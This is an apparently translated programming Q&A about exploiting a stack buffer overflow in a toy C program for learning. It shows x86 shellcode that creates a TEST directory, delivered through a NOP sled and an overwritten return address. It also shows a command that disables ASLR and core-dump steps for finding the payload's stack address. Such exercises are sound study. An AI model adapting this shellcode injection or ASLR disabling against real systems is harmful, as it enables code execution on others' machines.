逆向工程(stack-smash)如何找出我输入程序的数据在堆栈中写入的堆栈地址

reverse engineering (stack-smash) how to find out the address of the stack where the data that I entered into the program is written in the stack

所以,我的英语很糟糕,但我会尽力解释清楚我的问题(对此感到抱歉)。 我有一个 С 编程语言的程序:

#include <stdio.h>
#include <string.h>

void vuln_func(char *data) { 
  char buff[256]; 
  strcpy(buff, data); 
} 
void main(int argc, char *argv[]) {
  vuln_func(argv[1]);
}

程序接受任何行输入。我想在其中输入一个有效载荷,它将在启动该程序的目录中创建一个 TEST 目录。

工作原理:

我 运行 调试器中的一个程序,其字符串包含有效载荷:

(gdb) r $(python -c 'print "\x90" * 233 + "\x31\xc0\x50\x68\x54\x45\x53\x54\xb0\x27\x89\xe3\x66\x41\xcd\x80\xb0\x0f\x66\xb9\xff\x01\xcd\x80\x31\xc0\x40\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x59\xee\xff\xbf"')

在有效负载中,首先有 233 个“nop”指令,然后是 shell创建“TEST”目录的代码,然后是程序到达“ret”时应该去的地址说明

部分程序代码以指令形式出现在调试器中:

(gdb) disas vuln_func
Dump of assembler code for function vuln_func:
   0x0804840b <+0>: push   ebp
   0x0804840c <+1>: mov    ebp,esp
   0x0804840e <+3>: sub    esp,0x108
   0x08048414 <+9>: sub    esp,0x8
   0x08048417 <+12>:    push   DWORD PTR [ebp+0x8]
   0x0804841a <+15>:    lea    eax,[ebp-0x108]
   0x08048420 <+21>:    push   eax
   0x08048421 <+22>:    call   0x80482e0 <strcpy@plt>
   0x08048426 <+27>:    add    esp,0x10
   0x08048429 <+30>:    nop
   0x0804842a <+31>:    leave  
   0x0804842b <+32>:    ret    
End of assembler dump.

因此,“strcpy”函数将我们输入程序的字符串放入堆栈。 然后再执行几条指令。当程序到达“ret”指令时,return 地址在堆栈上。默认情况下,它指向“main”函数中的地址。我希望它指向位于堆栈上的我的有效负载。当程序通过调试器执行时,我可以看到 return 地址在堆栈中的位置,并计算有效负载之前所需的“nop”指令数和所需 return 地址的值。但是当我想在没有调试器的情况下执行程序时该怎么办。我如何找出我的 shell 代码在堆栈中的位置? 我尝试使用我通过调试器在负载中使用的相同 return 地址,但我的 ubuntu 系统报告错误“Segmentation fault (core dumped)”。即return地址与栈的真实地址space不对应,是在运行通过ubuntu终端运行时为本程序分配的。

更新:我查看了这个程序的核心转储。每次我 运行 它通过终端时,堆栈地址都会发生很大变化。以下是我的 shell 代码所在的几个堆栈地址: 0xbfda4161 0xbfc89161 0xbf944161 为什么我已经禁用了动态地址space?

进入 mainesp 寄存器的值取决于环境变量和 argv[n] 字符串的大小(除了由内核随机化外,你已经关机了)。

我怀疑在你的情况下,差异是由 argv[0] 引起的,GDB 倾向于将其解析为二进制文件的完整路径名。

你没有告诉我们你是如何在 GDB 之外调用易受攻击的二进制文件的。如果您执行 ./vuln $(python -c ...)vuln $(python -c ...) 之类的操作,请尝试将其 运行 改为 $(realpath ./vuln) $(python -c ...) —— 这应该与 GDB 中发生的情况相匹配。

我解决了这个问题。 首先,我没有想到每次注销时ASLR关闭设置都是禁用的。

怎么做:

  1. 禁用 ASLR。对于 ubuntu 16,我使用了以下命令:echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

  2. 查看核心转储数据。我使用“coredumpctl”实用程序完成了它。 首先我查看了失败程序列表:coredumpctl list,在其中找到了我的程序的进程号。 然后去调试器下:coredumpctl gdb your_proc_pid。 在调试器中,我使用 (gdb) info stack 查看了堆栈地址,找到了我的有效负载在堆栈中的位置:x/90xw 0xstack_address。 我更改了负载中的地址,现在程序在终端中 运行 时不会中断。